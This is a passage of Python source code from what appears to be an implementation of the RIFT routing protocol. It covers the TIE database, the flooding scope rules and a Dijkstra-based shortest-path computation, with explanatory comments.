self.find_tie_meta(header_in_tide.tieid)\n if db_tie_meta is None:\n if header_in_tide.tieid.originator == self.system_id:\n # Self-originate an empty TIE with a higher sequence number.\n bumped_own_tie_header = self.bump_own_tie(db_tie_meta, header_in_tide)\n start_sending_tie_headers.append(bumped_own_tie_header)\n else:\n # We don't have the TIE, request it\n # To request a a missing TIE, we have to set the seq_nr to 0. This is not\n # mentioned in the RIFT draft, but it is described in ISIS ISO/IEC 10589:1992\n # section 7.3.15.2 bullet b.4\n request_header = header_in_tide\n request_header.seq_nr = 0\n request_header.remaining_lifetime = 0\n request_header.origination_time = None\n request_tie_headers.append(request_header)\n else:\n db_tie_packet = db_tie_meta.tie_packet\n comparison = compare_tie_header_age(db_tie_packet.header, header_in_tide)\n if comparison < 0:\n if header_in_tide.tieid.originator == self.system_id:\n # Re-originate DB TIE with higher sequence number than the one in TIDE\n bumped_own_tie_header = self.bump_own_tie(db_tie_meta, header_in_tide)\n start_sending_tie_headers.append(bumped_own_tie_header)\n else:\n # We have an older version of the TIE, request the newer version\n request_tie_headers.append(header_in_tide)\n elif comparison > 0:\n # We have a newer version of the TIE, send it\n start_sending_tie_headers.append(db_tie_packet.header)\n else:\n # We have the same version of the TIE, if we are trying to send it, stop it\n stop_sending_tie_headers.append(db_tie_packet.header)\n # End-gap processing: send TIEs that are in our TIE DB but missing in TIDE\n self.start_sending_db_ties_in_range(start_sending_tie_headers,\n last_processed_tie_id, minimum_inclusive,\n tide_packet.end_range, True)\n return (request_tie_headers, start_sending_tie_headers, stop_sending_tie_headers)\n\n def process_received_tire_packet(self, tire_packet):\n request_tie_headers = []\n start_sending_tie_headers = []\n acked_tie_headers = []\n for header_in_tire in tire_packet.headers:\n db_tie_meta = self.find_tie_meta(header_in_tire.tieid)\n if db_tie_meta is not None:\n db_tie_packet = db_tie_meta.tie_packet\n comparison = compare_tie_header_age(db_tie_packet.header, header_in_tire)\n if comparison < 0:\n # We have an older version of the TIE, request the newer version\n request_tie_headers.append(header_in_tire)\n elif comparison > 0:\n # We have a newer version of the TIE, send it\n start_sending_tie_headers.append(db_tie_packet.header)\n else:\n # We have the same version of the TIE, treat it as an ACK\n acked_tie_headers.append(db_tie_packet.header)\n return (request_tie_headers, start_sending_tie_headers, acked_tie_headers)\n\n def find_according_node_tie_meta(self, rx_tie_header):\n # We have to originate an empty node TIE for the purpose of flushing it. Use the same\n # contents as the real node TIE that we actually originated, except don't report any\n # neighbors.\n real_node_tie_id = copy.deepcopy(rx_tie_header.tieid)\n real_node_tie_id.tie_nr = MY_NODE_TIE_NR\n real_node_tie_meta = self.find_tie_meta(real_node_tie_id)\n assert real_node_tie_meta is not None\n return real_node_tie_meta\n\n def make_according_empty_tie(self, rx_tie_header):\n new_tie_header = packet_common.make_tie_header(\n rx_tie_header.tieid.direction,\n rx_tie_header.tieid.originator,\n rx_tie_header.tieid.tietype,\n rx_tie_header.tieid.tie_nr,\n rx_tie_header.seq_nr + 1, # Higher sequence number\n FLUSH_LIFETIME) # Short remaining life time\n tietype = rx_tie_header.tieid.tietype\n if tietype == common.ttypes.TIETypeType.NodeTIEType:\n real_node_tie_meta = self.find_according_node_tie_meta(rx_tie_header)\n real_node_tie_packet = real_node_tie_meta.tie_packet\n new_element = copy.deepcopy(real_node_tie_packet.element)\n new_element.node.neighbors = {}\n elif tietype == common.ttypes.TIETypeType.PrefixTIEType:\n empty_prefixes = encoding.ttypes.PrefixTIEElement()\n new_element = encoding.ttypes.TIEElement(prefixes=empty_prefixes)\n elif tietype == common.ttypes.TIETypeType.PositiveDisaggregationPrefixTIEType:\n empty_prefixes = encoding.ttypes.PrefixTIEElement()\n new_element = encoding.ttypes.TIEElement(\n positive_disaggregation_prefixes=empty_prefixes)\n elif tietype == common.ttypes.TIETypeType.NegativeDisaggregationPrefixTIEType:\n # TODO: Negative disaggregation prefixes are not yet in model in specification\n assert False\n elif tietype == common.ttypes.TIETypeType.PGPrefixTIEType:\n # TODO: Policy guided prefixes are not yet in model in specification\n assert False\n elif tietype == common.ttypes.TIETypeType.KeyValueTIEType:\n empty_keyvalues = encoding.ttypes.KeyValueTIEElement()\n new_element = encoding.ttypes.TIEElement(keyvalues=empty_keyvalues)\n # TODO: External\n else:\n assert False\n according_empty_tie = encoding.ttypes.TIEPacket(\n header=new_tie_header,\n element=new_element)\n return according_empty_tie\n\n def bump_own_tie(self, db_tie_meta, rx_tie_header):\n if db_tie_meta is None:\n # We received a TIE (rx_tie) which appears to be self-originated, but we don't have that\n # TIE in our database. Re-originate the \"according\" (same TIE ID) TIE, but then empty\n # (i.e. no neighbor, no prefixes, no key-values, etc.), with a higher sequence number,\n # and a short remaining life time\n according_empty_tie_packet = self.make_according_empty_tie(rx_tie_header)\n self.store_tie_packet(according_empty_tie_packet, rx_intf=None)\n return according_empty_tie_packet.header\n else:\n # Re-originate DB TIE with higher sequence number than the one in RX TIE\n db_tie_meta.tie_packet.header.seq_nr = rx_tie_header.seq_nr + 1\n return db_tie_meta.tie_packet.header\n\n def process_received_tie_packet(self, rx_tie_meta):\n start_sending_tie_header = None\n ack_tie_header = None\n rx_tie_packet = rx_tie_meta.tie_packet\n rx_tie_header = rx_tie_packet.header\n rx_tie_id = rx_tie_header.tieid\n db_tie_meta = self.find_tie_meta(rx_tie_id)\n if db_tie_meta is None:\n if rx_tie_id.originator == self.system_id:\n # Self-originate an empty TIE with a higher sequence number.\n start_sending_tie_header = self.bump_own_tie(db_tie_meta, rx_tie_packet.header)\n else:\n # We don't have this TIE in the database, store and ack it\n self.store_tie_meta(rx_tie_meta)\n ack_tie_header = rx_tie_header\n else:\n comparison = compare_tie_header_age(db_tie_meta.tie_packet.header, rx_tie_header)\n if comparison < 0:\n # We have an older version of the TIE, ...\n if rx_tie_id.originator == self.system_id:\n # Re-originate DB TIE with higher sequence number than the one in RX TIE\n start_sending_tie_header = self.bump_own_tie(db_tie_meta, rx_tie_packet.header)\n else:\n # We did not originate the TIE, store the newer version and ack it\n self.store_tie_meta(rx_tie_meta)\n ack_tie_header = rx_tie_packet.header\n # Flood the TIE\n self.unsolicitied_flood_tie_meta(rx_tie_meta)\n elif comparison > 0:\n # We have a newer version of the TIE, send it\n start_sending_tie_header = db_tie_meta.tie_packet.header\n else:\n # We have the same version of the TIE, ACK it\n ack_tie_header = db_tie_meta.tie_packet.header\n return (start_sending_tie_header, ack_tie_header)\n\n def tie_is_originated_by_node(self, tie_header, node_system_id):\n return tie_header.tieid.originator == node_system_id\n\n def tie_originator_level(self, tie_header):\n # We cannot determine the level of the originator just by looking at the TIE header; we have\n # to look in the TIE-DB to determine it. We can be confident the TIE is in the TIE-DB\n # because we wouldn't be here, considering sending a TIE to a neighbor, if we did not have\n # the TIE in the TIE-DB. Also, this question can only be asked about Node TIEs (other TIEs\n # don't store the level of the originator in the TIEPacket)\n assert tie_header.tieid.tietype == common.ttypes.TIETypeType.NodeTIEType\n db_tie_meta = self.find_tie_meta(tie_header.tieid)\n if db_tie_meta is None:\n # Just in case it unexpectedly not in the TIE-DB\n return None\n else:\n return db_tie_meta.tie_packet.element.node.level\n\n def is_flood_allowed(self,\n tie_header,\n to_node_direction,\n to_node_system_id,\n from_node_system_id,\n from_node_level,\n from_node_is_top_of_fabric):\n # Note: there is exactly one rule below (the one marked with [*]) which actually depend on\n # the neighbor_system_id. If that rule wasn't there we would have been able to encode a TIDE\n # only one per direction (N, S, EW) instead of once per neighbor, and still follow all the\n # flooding scope rules. We have chosen to follow the rules strictly (not doing so causes all\n # sorts of other complications), so -alas- we swallow the performance overhead of encoding\n # separate TIDE packets for every individual neighbor. TODO: I may revisit this decision\n # when the exact nature of the \"other complications\" (namely persistent oscillations) are\n # better understood (correctness first, performance later).\n # See https://www.dropbox.com/s/b07dnhbxawaizpi/zoom_0.mp4?dl=0 for a video recording of a\n # discussion where these complications were discussed in detail.\n if tie_header.tieid.direction == constants.DIR_SOUTH:\n # S-TIE\n if tie_header.tieid.tietype == common.ttypes.TIETypeType.NodeTIEType:\n # Node S-TIE\n if to_node_direction == constants.DIR_SOUTH:\n # Node S-TIE to S: Flood if level of originator is same as level of this node\n if self.tie_originator_level(tie_header) == from_node_level:\n return (True, \"Node S-TIE to S: originator level is same as from-node\")\n else:\n return (False, \"Node S-TIE to S: originator level is not same as from-node\")\n elif to_node_direction == constants.DIR_NORTH:\n # Node S-TIE to N: flood if level of originator is higher than level of this\n # node\n originator_level = self.tie_originator_level(tie_header)\n if originator_level is None:\n return (False, \"Node S-TIE to N: could not determine originator level\")\n elif originator_level > from_node_level:\n return (True, \"Node S-TIE to N: originator level is higher than from-node\")\n else:\n return (False,\n \"Node S-TIE to N: originator level is not higher than from-node\")\n elif to_node_direction == constants.DIR_EAST_WEST:\n # Node S-TIE to EW: Flood only if this node is not top of fabric\n if from_node_is_top_of_fabric:\n return (False, \"Node S-TIE to EW: from-node is top of fabric\")\n else:\n return (True, \"Node S-TIE to EW: from-node is not top of fabric\")\n else:\n # Node S-TIE to ?: We can't determine the direction of the neighbor; don't flood\n assert to_node_direction is None\n return (False, \"Node S-TIE to ?: never flood\")\n else:\n # Non-Node S-TIE\n if to_node_direction == constants.DIR_SOUTH:\n # Non-Node S-TIE to S: Flood self-originated only\n if self.tie_is_originated_by_node(tie_header, from_node_system_id):\n return (True, \"Non-node S-TIE to S: self-originated\")\n else:\n return (False, \"Non-node S-TIE to S: not self-originated\")\n elif to_node_direction == constants.DIR_NORTH:\n # [*] Non-Node S-TIE to N: Flood only if the neighbor is the originator of\n # the TIE\n if to_node_system_id == tie_header.tieid.originator:\n return (True, \"Non-node S-TIE to N: to-node is originator of TIE\")\n else:\n return (False, \"Non-node S-TIE to N: to-node is not originator of TIE\")\n elif to_node_direction == constants.DIR_EAST_WEST:\n # Non-Node S-TIE to EW: Flood only if if self-originated and this node is not\n # ToF\n if from_node_is_top_of_fabric:\n return (False, \"Non-node S-TIE to EW: this top of fabric\")\n elif self.tie_is_originated_by_node(tie_header, from_node_system_id):\n return (True, \"Non-node S-TIE to EW: self-originated and not top of fabric\")\n else:\n return (False, \"Non-node S-TIE to EW: not self-originated\")\n else:\n # We cannot determine the direction of the neighbor; don't flood\n assert to_node_direction is None\n return (False, \"None-node S-TIE to ?: never flood\")\n else:\n # S-TIE\n assert tie_header.tieid.direction == constants.DIR_NORTH\n if to_node_direction == constants.DIR_SOUTH:\n # S-TIE to S: Never flood\n return (False, \"N-TIE to S: never flood\")\n elif to_node_direction == constants.DIR_NORTH:\n # S-TIE to N: Always flood\n return (True, \"N-TIE to N: always flood\")\n elif to_node_direction == constants.DIR_EAST_WEST:\n # S-TIE to EW: Flood only if this node is top of fabric\n if from_node_is_top_of_fabric:\n return (True, \"N-TIE to EW: top of fabric\")\n else:\n return (False, \"N-TIE to EW: not top of fabric\")\n else:\n # S-TIE to ?: We cannot determine the direction of the neighbor; don't flood\n assert to_node_direction is None\n return (False, \"N-TIE to ?: never flood\")\n\n def flood_allowed_from_node_to_nbr(self,\n tie_header,\n neighbor_direction,\n neighbor_system_id,\n node_system_id,\n node_level,\n node_is_top_of_fabric):\n return self.is_flood_allowed(\n tie_header=tie_header,\n to_node_direction=neighbor_direction,\n to_node_system_id=neighbor_system_id,\n from_node_system_id=node_system_id,\n from_node_level=node_level,\n from_node_is_top_of_fabric=node_is_top_of_fabric)\n\n def flood_allowed_from_nbr_to_node(self,\n tie_header,\n neighbor_direction,\n neighbor_system_id,\n neighbor_level,\n neighbor_is_top_of_fabric,\n node_system_id):\n if neighbor_direction == constants.DIR_SOUTH:\n neighbor_reverse_direction = constants.DIR_NORTH\n elif neighbor_direction == constants.DIR_NORTH:\n neighbor_reverse_direction = constants.DIR_SOUTH\n else:\n neighbor_reverse_direction = neighbor_direction\n return self.is_flood_allowed(\n tie_header=tie_header,\n to_node_direction=neighbor_reverse_direction,\n to_node_system_id=node_system_id,\n from_node_system_id=neighbor_system_id,\n from_node_level=neighbor_level,\n from_node_is_top_of_fabric=neighbor_is_top_of_fabric)\n\n def unsolicitied_flood_tie_meta(self, tie_meta):\n # Self-originated TIEs are not subject to unsolicited flooding\n if tie_meta.rx_intf is None:\n return\n flood_count = 0\n tie_packet = tie_meta.tie_packet\n for tx_intf in self.interfaces_by_name.values():\n # Never flood back to interface on which TIE was received (split horizon)\n if tx_intf == tie_meta.rx_intf:\n continue\n # Only flood to adjacencies that are in state 3-way\n if tx_intf.fsm.state != tx_intf.State.THREE_WAY:\n continue\n # If flooding reduction is enabled, only flood to flood repeaters\n if self.floodred_enabled:\n if not tx_intf.floodred_nbr_is_fr:\n continue\n # Only flood if allowed by flooding scope rules\n (allowed, _reason) = self.flood_allowed_from_node_to_nbr(\n tie_meta.tie_packet.header,\n tx_intf.neighbor_direction(),\n tx_intf.neighbor.system_id,\n tx_intf.neighbor.level,\n tx_intf.neighbor.top_of_fabric(),\n self.system_id)\n if not allowed:\n continue\n # Put the packet on the transmit queue.\n flood_count += 1\n tx_intf.add_tie_meta_to_ties_tx(tie_meta)\n # Log to how many interfaces the TIE was flooded\n if flood_count > 0:\n self.db_debug(\"TIE %s received on %s flooded to %d interfaces\", tie_packet.header,\n tie_meta.rx_intf.name, flood_count)\n\n def generate_tide_packet(self,\n neighbor_direction,\n neighbor_system_id,\n neighbor_level,\n neighbor_is_top_of_fabric,\n my_level,\n i_am_top_of_fabric):\n # pylint:disable=too-many-locals\n #\n # The algorithm for deciding which TIE headers go into a TIDE packet are based on what is\n # described as \"the solution to oscillation #1\" in slide deck\n # http://bit.ly/rift-flooding-oscillations-v1. During the RIFT core team conference call on\n # 19 Oct 2018, Tony reported that the RIFT specification was already updated with the same\n # rules, but IMHO sections Table 3 / B.3.1. / B.3.2.1 in the draft are still ambiguous and\n # I am not sure if they specify the same behavior.\n #\n # We generate a single TIDE packet which covers the entire range and we report all TIE\n # headers in that single TIDE packet. We simple assume that it will fit in a single UDP\n # packet which can be up to 64K. And if a single TIE gets added or removed we swallow the\n # cost of regenerating and resending the entire TIDE packet.\n tide_packet = packet_common.make_tide_packet(\n start_range=self.MIN_TIE_ID,\n end_range=self.MAX_TIE_ID)\n # Look at every TIE in our database, and decide whether or not we want to include it in the\n # TIDE packet. This is a rather expensive process, which is why we want to minimize the\n # the number of times this function is run.\n for tie_meta in self.tie_metas.values():\n tie_packet = tie_meta.tie_packet\n tie_header = tie_packet.header\n # The first possible reason for including a TIE header in the TIDE is to announce that\n # we have a TIE that we want to send to the neighbor. In other words the TIE in the\n # flooding scope from us to the neighbor.\n (allowed, reason1) = self.flood_allowed_from_node_to_nbr(\n tie_header,\n neighbor_direction,\n neighbor_system_id,\n self.system_id,\n my_level,\n i_am_top_of_fabric)\n if allowed:\n self.db_debug(\"Include TIE %s in TIDE because %s (perspective us to neighbor)\",\n tie_header, reason1)\n packet_common.add_tie_header_to_tide(tide_packet, tie_header)\n continue\n # The second possible reason for including a TIE header in the TIDE is because the\n # neighbor might be considering to send the TIE to us, and we want to let the neighbor\n # know that we already have the TIE and what version it it.\n (allowed, reason2) = self.flood_allowed_from_nbr_to_node(\n tie_header,\n neighbor_direction,\n neighbor_system_id,\n neighbor_level,\n neighbor_is_top_of_fabric,\n self.system_id)\n if allowed:\n self.db_debug(\"Include TIE %s in TIDE because %s (perspective neighbor to us)\",\n tie_header, reason2)\n packet_common.add_tie_header_to_tide(tide_packet, tie_header)\n continue\n # If we get here, we decided not to include the TIE header in the TIDE\n self.db_debug(\"Exclude TIE %s from TIDE because %s (perspective us to neighbor) and \"\n \"%s (perspective neighbor to us)\", tie_header, reason1, reason2)\n return tide_packet\n\n\n def check_sysid_partially_connected(self, look_for_sysid):\n # Check every other node and the same level, and if there is at least one other node that\n # that does not have the sysid as a south-bound adjacencies, then declare the sysid as\n # partially connected. Note: if there are no other nodes at the same level, then the sysid\n # is not partially connected.\n node_adj_with_look_for_sysid = {} # Indexed by sysid of other node at same level\n for node_tie_meta in self.other_node_tie_metas_my_level.values():\n node_sysid = node_tie_meta.tie_packet.header.tieid.originator\n node_level = node_tie_meta.tie_packet.element.node.level\n if node_sysid not in node_adj_with_look_for_sysid:\n node_adj_with_look_for_sysid[node_sysid] = False\n for nbr_sysid, nbr_info in node_tie_meta.tie_packet.element.node.neighbors.items():\n nbr_level = nbr_info.level\n if nbr_level < node_level and nbr_sysid == look_for_sysid:\n node_adj_with_look_for_sysid[node_sysid] = True\n partially_connected = False\n partially_connected_causes = []\n for node_sysid, adjacent in node_adj_with_look_for_sysid.items():\n if not adjacent:\n partially_connected = True\n partially_connected_causes.append(node_sysid)\n partially_connected_causes = sorted(list(set(partially_connected_causes)))\n return (partially_connected, partially_connected_causes)\n\n def same_level_nodes_table(self):\n # pylint:disable=too-many-locals\n tab = table.Table()\n tab.add_row([\n [\"Node\", \"System ID\"],\n [\"North-bound\", \"Adjacencies\"],\n [\"South-bound\", \"Adjacencies\"],\n [\"Missing\", \"South-bound\", \"Adjacencies\"]])\n # If there are no other nodes at my level; return empty table.\n if not self.other_node_tie_metas_my_level:\n return tab\n # Collect all north- and south-bound adjacencies of nodes at the same level\n nodes = {}\n for node_tie_meta in self.other_node_tie_metas_my_level.values():\n node_sysid = node_tie_meta.tie_packet.header.tieid.originator\n node_level = node_tie_meta.tie_packet.element.node.level\n if node_sysid not in nodes:\n nodes[node_sysid] = ([], []) # List of south-bound and north-bound adjacencies\n for nbr_sysid, nbr_info in node_tie_meta.tie_packet.element.node.neighbors.items():\n nbr_level = nbr_info.level\n if nbr_level > node_level:\n nodes[node_sysid][0].append(nbr_sysid) # Add north-bound adjacency\n elif nbr_level < node_level:\n nodes[node_sysid][1].append(nbr_sysid) # Add south-bound adjacency\n # Format collected information into table\n sorted_node_sysids = sorted(list(nodes.keys()))\n for node_sysid in sorted_node_sysids:\n # Sort adjacencies and remove duplicates\n north_adjacencies = sorted(list(set(nodes[node_sysid][0])))\n south_adjacencies = sorted(list(set(nodes[node_sysid][1])))\n # Determine missing adjacencies\n missing_adjacencies = []\n for intf in self.interfaces_by_name.values():\n if intf.fsm.state != intf.State.THREE_WAY:\n continue\n if intf.neighbor_direction() != constants.DIR_SOUTH:\n continue\n missing = True\n for adj_sysid in south_adjacencies:\n if intf.neighbor.system_id == adj_sysid:\n missing = False\n break\n if missing:\n missing_adjacencies.append(intf.neighbor.system_id)\n missing_adjacencies = sorted(list(set(missing_adjacencies)))\n tab.add_row([node_sysid, north_adjacencies, south_adjacencies, missing_adjacencies])\n return tab\n\n def spf_statistics_table(self):\n tab = table.Table()\n tab.add_rows(self.cli_statistics_attributes())\n return tab\n\n @staticmethod\n def compare_spf_dest_key(dest_key):\n if isinstance(dest_key, int):\n return (0, dest_key)\n else:\n return (1, dest_key)\n\n def spf_tree_table(self, direction):\n tab = table.Table()\n tab.add_row(spf_dest.SPFDest.cli_summary_headers())\n sorted_spf_destinations = sorted(self._spf_destinations[direction].values())\n for destination in sorted_spf_destinations:\n tab.add_row(destination.cli_summary_attributes())\n return tab\n\n def tie_db_table(self):\n tab = table.Table()\n tab.add_row(self.cli_tie_db_summary_headers())\n for tie_meta in self.tie_metas.values():\n # TODO Pass tie_meta so that we can also report rx_intf\n tab.add_row(self.cli_tie_db_summary_attributes(tie_meta.tie_packet))\n return tab\n\n def age_ties(self):\n expired_key_ids = []\n for tie_id, tie_meta in self.tie_metas.items():\n tie_packet = tie_meta.tie_packet\n tie_packet.header.remaining_lifetime -= 1\n if tie_packet.header.remaining_lifetime <= 0:\n expired_key_ids.append(tie_id)\n for key_id in expired_key_ids:\n # TODO: log a message\n self.remove_tie(key_id)\n\n @staticmethod\n def cli_tie_db_summary_headers():\n return [\n \"Direction\",\n \"Originator\",\n \"Type\",\n \"TIE Nr\",\n \"Seq Nr\",\n \"Lifetime\",\n \"Contents\"]\n\n def cli_tie_db_summary_attributes(self, tie_packet):\n tie_id = tie_packet.header.tieid\n return [\n packet_common.direction_str(tie_id.direction),\n tie_id.originator,\n packet_common.tietype_str(tie_id.tietype),\n tie_id.tie_nr,\n tie_packet.header.seq_nr,\n tie_packet.header.remaining_lifetime,\n packet_common.element_str(tie_id.tietype, tie_packet.element)\n ]\n\n def trigger_spf(self, reason):\n self._spf_triggers_count += 1\n self._spf_trigger_history.appendleft(reason)\n if self._defer_spf_timer is None:\n self.start_defer_spf_timer()\n self._spf_deferred_trigger_pending = False\n self.spf_debug(\"Trigger and run SPF: %s\", reason)\n self.spf_run()\n else:\n self._spf_deferred_trigger_pending = True\n self._spf_triggers_deferred_count += 1\n self.spf_debug(\"Trigger and defer SPF: %s\", reason)\n\n def start_defer_spf_timer(self):\n self._defer_spf_timer = timer.Timer(\n interval=self.MIN_SPF_INTERVAL,\n expire_function=self.defer_spf_timer_expired,\n periodic=False,\n start=True)\n\n def defer_spf_timer_expired(self):\n self._defer_spf_timer = None\n if self._spf_deferred_trigger_pending:\n self.start_defer_spf_timer()\n self._spf_deferred_trigger_pending = False\n self.spf_debug(\"Run deferred SPF\")\n self.spf_run()\n\n def ties_of_type(self, direction, system_id, prefix_type):\n # Return an ordered list of TIEs from the given node and in the given direction and of the\n # given type\n node_ties = []\n start_tie_id = packet_common.make_tie_id(direction, system_id, prefix_type, 0)\n end_tie_id = packet_common.make_tie_id(direction, system_id, prefix_type,\n packet_common.MAX_U32)\n node_tie_ids = self.tie_metas.irange(start_tie_id, end_tie_id, (True, True))\n for node_tie_id in node_tie_ids:\n node_tie_packet = self.tie_metas[node_tie_id].tie_packet\n node_ties.append(node_tie_packet)\n return node_ties\n\n def node_ties(self, direction, system_id):\n # Return an ordered list of all node TIEs from the given node and in the given direction\n return self.ties_of_type(direction, system_id, common.ttypes.TIETypeType.NodeTIEType)\n\n def node_neighbors(self, node_ties, neighbor_direction):\n # A generator that yields (nbr_system_id, nbr_tie_element) tuples for all neighbors in the\n # specified direction of the nodes in the node_ties list.\n for node_tie in node_ties:\n node_level = node_tie.element.node.level\n for nbr_system_id, nbr_tie_element in node_tie.element.node.neighbors.items():\n nbr_level = nbr_tie_element.level\n if neighbor_direction == constants.DIR_SOUTH:\n correct_direction = (nbr_level < node_level)\n elif neighbor_direction == constants.DIR_NORTH:\n correct_direction = (nbr_level > node_level)\n elif neighbor_direction == constants.DIR_EAST_WEST:\n correct_direction = (nbr_level == node_level)\n else:\n assert False\n if correct_direction:\n yield (nbr_system_id, nbr_tie_element)\n\n def spf_run(self):\n self._spf_runs_count += 1\n # TODO: Currently we simply always run both North-SPF and South-SPF, but maybe we can be\n # more intelligent about selectively triggering North-SPF and South-SPF separately.\n self.spf_run_direction(constants.DIR_SOUTH)\n self.spf_run_direction(constants.DIR_NORTH)\n self.floodred_elect_repeaters()\n self.regenerate_my_pos_disagg_tie()\n\n def spf_run_direction(self, spf_direction):\n # Shortest Path First (SPF) uses the Dijkstra algorithm to compute the shortest path to\n # each destination that is reachable from this node.\n # Each destination is represented by an SPFDest object, which represents either a node or a\n # prefix. The attributes of the SPFDest object contain all the information that is needed to\n # run SPF, such the best-known path cost thus far, the predecessor nodes, etc. See module\n # spf_dest for details. Each SPFDest object also has a key which unique identifies it. For\n # node destinations this is the system-id, and for prefix destinations it is the IP prefix.\n # The attribute _spf_destinations contains ALL known destinations. It is a dictionary\n # indexed by direction (south and north). Each value in the dictionary (i.e.\n # _spf_destinations[direction]) is itself a dictionary again: the values are SPFDest\n # SPFDest objects and the index is the key of the SPFDest object (a system-id or prefix).\n # It contains both destinations for which the best path has not yet definitely been\n # determined (so-called candidates) and also destinations for which the best path has\n # already been definitely been determined. In the latter case the best attribute of the\n # SPFDest object is set to True. This dictionary is kept around after the SPF run is\n # completed, and there is a \"show spf\" CLI command to view it for debugging purposes.\n self._spf_destinations[spf_direction] = {}\n dest_table = self._spf_destinations[spf_direction]\n # Initially, there is only one known destination, namely this node.\n self_destination = spf_dest.make_node_dest(self.system_id, self.name, 0)\n dest_table[self.system_id] = self_destination\n # The variable \"candidates\" contains the set of destinations (nodes and prefixes) for which\n # we have already determined some feasible path (which may be an ECMP path) but for which\n # we have not yet established that the known path is indeed the best path.\n # For efficiency, candidates is implemented as a priority queue that contains the\n # destination keys with the best known path cost thus far as the priority.\n # We use module heapdict (as opposed to the more widely used heapq module) because we need\n # an efficient way to decrease the priority of an element which is already on the priority\n # queue. Heapq only allows you to do this by calling the internal method _siftdown (see\n # http://bit.ly/siftdown)\n candidates = heapdict.heapdict()\n # Initially, there is one destination in the candidates heap, namely the starting node (i.e.\n # this node) with cost zero.\n candidates[self.system_id] = 0\n # Keep going until we have no more candidates\n while candidates:\n # Remove the destination with the lowest cost from the candidate priority queue.\n (dest_key, dest_cost) = candidates.popitem()\n # If already have a best path to the destination move on to the next candidate. In this\n # case the best path should have a strictly lower cost than the candidate's cost.\n destination = dest_table[dest_key]\n if destination.best:\n assert dest_cost > destination.cost\n continue\n # Mark that we now have the best path to the destination.\n destination.best = True\n # If the destination is a node (i.e. its key is a system-id number rather than an IP\n # prefix), potentially add its neighbor nodes and its prefixes as a new candidate or\n # as a new ECMP path for an existing candidate.\n if isinstance(dest_key, int):\n self.spf_add_candidates_from_node(dest_key, dest_cost, candidates, spf_direction)\n # For south-bound SPF runs only, decide which prefixes need to be positively disaggregated\n if spf_direction == constants.DIR_SOUTH:\n self.spf_mark_pos_disagg_prefixes()\n # SPF run is done. Install the computed routes into the route table (RIB)\n self.spf_install_routes_in_rib(spf_direction)\n\n def spf_add_candidates_from_node(self, node_system_id, node_cost, candidates, spf_direction):\n node_ties = self.node_ties(self.spf_use_tie_direction(node_system_id, spf_direction),\n node_system_id)\n if node_ties == []:\n return\n # Update the name of the node (we take it from the first node TIE)\n dest_table = self._spf_destinations[spf_direction]\n dest_table[node_system_id].name = node_ties[0].element.node.name\n # Add the neighbors of this node as candidates\n self.spf_add_neighbor_candidates(node_system_id, node_cost, node_ties, candidates,\n spf_direction)\n # Add the prefixes of this node as candidates\n self.spf_add_prefixes(node_system_id, node_cost, candidates, spf_direction)\n self.spf_add_pos_disagg_prefixes(node_system_id, node_cost, candidates, spf_direction)\n\n def spf_add_neighbor_candidates(self, node_system_id, node_cost, node_ties, candidates,\n spf_direction):\n # For a given node, it visits each neighbor in the SPF direction, and either adds that\n # neighbor to the candidate heap for the SPF run, or if the neighbor is already on the\n # candidate heap, it (potentially) updates the cost and predecessors of the neighbor.\n #\n # Consider each neighbor of the visited node in the direction of the SPF\n for nbr in self.node_neighbors(node_ties, spf_direction):\n (nbr_system_id, nbr_tie_element) = nbr\n # Only consider bi-directional adjacencies.\n if self.is_neighbor_bidirectional(node_system_id, nbr_system_id, nbr_tie_element,\n spf_direction):\n # We have found a feasible path to the neighbor node; is the best path?\n cost = node_cost + nbr_tie_element.cost\n destination = spf_dest.make_node_dest(nbr_system_id, None, cost)\n self.spf_consider_candidate_dest(destination, nbr_tie_element, node_system_id,\n candidates, spf_direction)\n\n def spf_add_prefixes(self, node_sysid, node_cost, candidates, spf_direction):\n prefix_ties = self.ties_of_type(\n direction=self.spf_use_tie_direction(node_sysid, spf_direction),\n system_id=node_sysid,\n prefix_type=common.ttypes.TIETypeType.PrefixTIEType)\n for prefix_tie in prefix_ties:\n self.spf_add_prefixes_common(\n node_sysid, node_cost, candidates, spf_direction,\n prefix_tie.element.prefixes.prefixes, False)\n\n def spf_add_pos_disagg_prefixes(self, node_sysid, node_cost, candidates, spf_direction):\n prefix_ties = self.ties_of_type(\n direction=self.spf_use_tie_direction(node_sysid, spf_direction),\n system_id=node_sysid,\n prefix_type=common.ttypes.TIETypeType.PositiveDisaggregationPrefixTIEType)\n for prefix_tie in prefix_ties:\n self.spf_add_prefixes_common(\n node_sysid, node_cost, candidates, spf_direction,\n prefix_tie.element.positive_disaggregation_prefixes.prefixes, True)\n\n def spf_add_prefixes_common(self, node_sysid, node_cost, candidates, spf_direction, prefixes,\n is_pos_disagg):\n if prefixes:\n for prefix, attributes in prefixes.items():\n tags = attributes.tags\n cost = node_cost + attributes.metric\n dest = spf_dest.make_prefix_dest(prefix, tags, cost, is_pos_disagg)\n self.spf_consider_candidate_dest(dest, None, node_sysid, candidates, spf_direction)\n\n def spf_consider_candidate_dest(self, destination, nbr_tie_element, predecessor_system_id,\n candidates, spf_direction):\n dest_key = destination.key()\n dest_table = self._spf_destinations[spf_direction]\n if dest_key not in dest_table:\n # We did not have any previous path to the destination. Add it.\n self.set_spf_predecessor(destination, nbr_tie_element, predecessor_system_id,\n spf_direction)\n dest_table[dest_key] = destination\n candidates[dest_key] = destination.cost\n else:\n # We already had a previous path to the destination. How does the new path compare to\n # the existing path in terms of cost?\n old_destination = dest_table[dest_key]\n if destination.cost < old_destination.cost:\n # The new path is strictly better than the existing path. Replace the existing path\n # with the new path.\n self.set_spf_predecessor(destination, nbr_tie_element, predecessor_system_id,\n spf_direction)\n dest_table[dest_key] = destination\n candidates[dest_key] = destination.cost\n elif destination.cost == old_destination.cost:\n # The new path is equal cost to the existing path. Add an ECMP path to the existing\n # path.\n self.add_spf_predecessor(old_destination, predecessor_system_id, spf_direction)\n old_destination.inherit_tags(destination)\n\n def set_spf_predecessor(self, destination, nbr_tie_element, predecessor_system_id,\n spf_direction):\n destination.add_predecessor(predecessor_system_id)\n if (nbr_tie_element is not None) and (predecessor_system_id == self.system_id):\n for link_id_pair in nbr_tie_element.link_ids:\n nhop = self.interface_id_to_ipv4_next_hop(link_id_pair.local_id)\n if nhop:\n destination.add_ipv4_next_hop(nhop)\n nhop = self.interface_id_to_ipv6_next_hop(link_id_pair.local_id)\n if nhop:\n destination.add_ipv6_next_hop(nhop)\n else:\n dest_table = self._spf_destinations[spf_direction]\n destination.inherit_next_hops(dest_table[predecessor_system_id])\n\n def add_spf_predecessor(self, destination, predecessor_system_id, spf_direction):\n 